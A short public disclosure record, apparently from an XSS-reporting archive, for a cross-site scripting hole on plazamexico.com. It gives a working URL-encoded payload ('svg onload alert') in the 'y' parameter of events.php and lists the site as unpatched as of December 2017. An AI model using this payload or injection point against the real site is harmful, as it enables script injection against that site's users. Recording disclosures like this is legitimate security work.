plazamexico.com XSS vulnerability

Vulnerable URL: http://plazamexico.com/events.php?y=2017%22%3E%3Csvg%2Fonload%3Dalert%2FXSSPOSED%2F%3E \r\n Details: Description| Value ---|--- Patched:| No Latest check for patch:| 18.12.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 3727097 VIP website...